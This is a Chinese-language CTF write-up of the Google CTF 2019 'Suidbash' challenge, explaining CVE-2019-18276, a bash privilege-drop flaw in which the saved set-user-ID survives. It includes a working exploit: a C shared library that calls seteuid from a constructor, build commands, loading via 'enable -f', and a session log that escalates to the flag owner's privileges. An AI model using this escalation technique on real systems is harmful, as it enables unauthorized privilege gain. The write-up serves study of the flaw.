CVE-2019-18276:权力的游戏

前言

伦敦时间2019年11月3日晚八点,Google CTF 2019线上赛决赛落下帷幕。其中有一道名为Suidbash的Pwn题目,分值500,直到比赛结束也没有一支队伍解出。

题面如下:

Yes, it's exactly what you think.

https://storage.googleapis.com/gctf-2019-attachments/8d5ba4d813f532b2bc9a417ccb0f784834ff716f874d917d0483ec0024e1deb0 suidbash.ctfcompetition.com 1337

事实上,这道题目基于一个由Ian Eldred Pudney发现并提交的0day制作而成,漏洞编号为CVE-2019-18276[1]。YouTube上有人分享了对Ian Eldred Pudney的采访视频和对该漏洞的讲解[2]。

截止到笔者做实验时(2019-11-29 12:00:00 UTC+8),上面列出的比赛服务器依然开放。

漏洞分析

如果有一个/bin/bash属于非root用户,例如user1,且该/bin/bash被设置了suid,那么user2执行/bin/bash后的euid依然是ruid,即user2。也就是说,bash内部有针对这种情况的降权过程(从进程刚启动时的suid user1降权到本来的用户user2);如果user2执行/bin/bash -p启动shell,那么进程的euid依然是user1,没有刻意降权。

漏洞点在于,虽然/bin/bash在不带参数启动时有降权操作,但是由于实际的降权函数setuid的特性,仅仅是该进程的euid被设置为了ruid,即user2,saved suid依然为user1。而seteuid函数可以重新将euid置为saved suid。这样一来,前面的降权操作就失效了。

关于/bin/bash -p

If the shell is started with the effective user (group) id not equal to
the real user (group) id, and the -p option is not supplied, no startup
files are read, shell functions are not inherited from the environment,
the  SHELLOPTS  variable, if it appears in the environment, is ignored,
and the effective user id is set to the real user id.  If the -p option
is  supplied  at  invocation, the startup behavior is the same, but the
effective user id is not reset.

关于setuid

The setuid() function sets the real and effective user IDs and the saved
set-user-ID of the current process to the specified value.  The setuid()
function is permitted if the effective user ID is that of the super user,
or if the specified user ID is the same as the effective user ID.  If
not, but the specified user ID is the same as the real user ID, setuid()
will set the effective user ID to the real user ID.

关于seteuid

The seteuid() function (setegid()) sets the effective user ID (group ID)
of the current process.  The effective user ID may be set to the value of
the real user ID or the saved set-user-ID (see intro(2) and execve(2));
in this way, the effective user ID of a set-user-ID executable may be
toggled by switching to the real user ID, then re-enabled by reverting to
the set-user-ID value.  Similarly, the effective group ID may be set to
the value of the real group ID or the saved set-group-ID.

漏洞利用

编写提权代码:

// /tmp/test.c
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>

void __attribute__ ((constructor)) initLibrary(void) {
	printf("Escape lib is initialized\n");
	printf("[LO] uid: %d | euid: %d\n", getuid(), geteuid());
	seteuid(1339);
	printf("[LO] uid: %d | euid: %d\n", getuid(), geteuid());
}
EOF

编译、加载:

gcc -c -fPIC /tmp/test.c -o /tmp/test.o
gcc -shared -fPIC /tmp/test.o -o /tmp/libtest.so

enable -f /tmp/libtest.so asd

本地利用结果:

Google CTF题目环境交互

题目环境信息收集:

➜  ~ ncat suidbash.ctfcompetition.com 1337
ls -al
total 4240
drwxrwxrwt  2 root       root           100 Nov 29 02:40 .
drwxr-xr-x 21 root       root          4096 Oct 25 17:40 ..
-r--------  1 flag_haver flag_haver     501 Oct 24 17:22 flag
-rwsr-xr-x  1 flag_haver flag_haver     245 Oct 12 16:51 read_flag.sh
-rwsr-xr-x  1 flag_haver flag_haver 4327976 Oct 25 17:27 suidbash

pwd
/home

id
uid=1338(user) gid=1338(user) groups=1338(user),0(root)

cat /etc/passwd | grep flag_haver
flag_haver:x:1339:1339::/home/flag_haver:/bin/bash

cat read_flag.sh
#!/home/suidbash
echo -n "Password: "
read pw

hash="$(echo -n "$pw" | sha256sum | awk '{print $1;}')"
if [[ "$hash" == "83ea3f4f92bf773f1d5653a57676dd0e58e2cdf0f08e1196dc2f34ee8a414161" ]]; then
  cat ./flag
else
  echo -e "Wrong password."
fi

./suidbash
suidbash: a tool for running setuid bash scripts.

Usage: suidbash <script>

漏洞利用准备工作:

cat << EOF > /tmp/test.c
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>

void __attribute__ ((constructor)) initLibrary(void) {
	printf("Escape lib is initialized\n");
	printf("[LO] uid: %d | euid: %d\n", getuid(), geteuid());
	seteuid(1339);
	printf("[LO] uid: %d | euid: %d\n", getuid(), geteuid());
}
EOF

gcc -c -fPIC /tmp/test.c -o /tmp/test.o
gcc -shared -fPIC /tmp/test.o -o /tmp/libtest.so

ls -al /tmp
total 24
drwxrwxrwx  2 root root  100 Nov 29 02:41 .
drwxr-xr-x 21 root root 4096 Oct 25 17:40 ..
-rwxr-xr-x  1 user user 8328 Nov 29 02:41 libtest.so
-rw-r--r--  1 user user  294 Nov 29 02:41 test.c
-rw-r--r--  1 user user 2232 Nov 29 02:41 test.o

cat << EOF > /tmp/pwn.sh
enable -f /tmp/libtest.so asd
id
cat /home/flag
EOF

chmod u+x /tmp/pwn.sh

提权、获取Flag:

./suidbash /tmp/pwn.sh
Escape lib is initialized
[LO] uid: 1338 | euid: 1338
[LO] uid: 1338 | euid: 1339
/proc/self/fd/3: line 1: enable: cannot find asd_struct in shared object /tmp/libtest.so: /tmp/libtest.so: undefined symbol: asd_struct
uid=1338(user) gid=1338(user) euid=1339(flag_haver) groups=1338(user),0(root)
CTF{zero-days-are-best-days_CVE-2019-18276}

I'm pretty sure that if you combine "World's least useful vulnerability" with "affecting every computer on the planet", those cancel out and you end up with "vulnerability". Right? That's how this works?

Also, what's old is new again. This challenge was inspired by CA-1996-12, "suidperl". But then, after writing the challenge, I decided to check whether Bash's automatic privilege-dropping feature has a similar issue. Turns out: it does.

参考文献

  1. CVE-2019-18276 Detail
  2. Zero-day vulnerability in Bash - Suidbash Google CTF Finals 2019 (pwn)
  3. The suidperl Story
  4. suidperl
  5. 1996 CERT Advisories
  6. CTF Time: Suidbash
  7. Google CTF
Per Aspera Ad Astra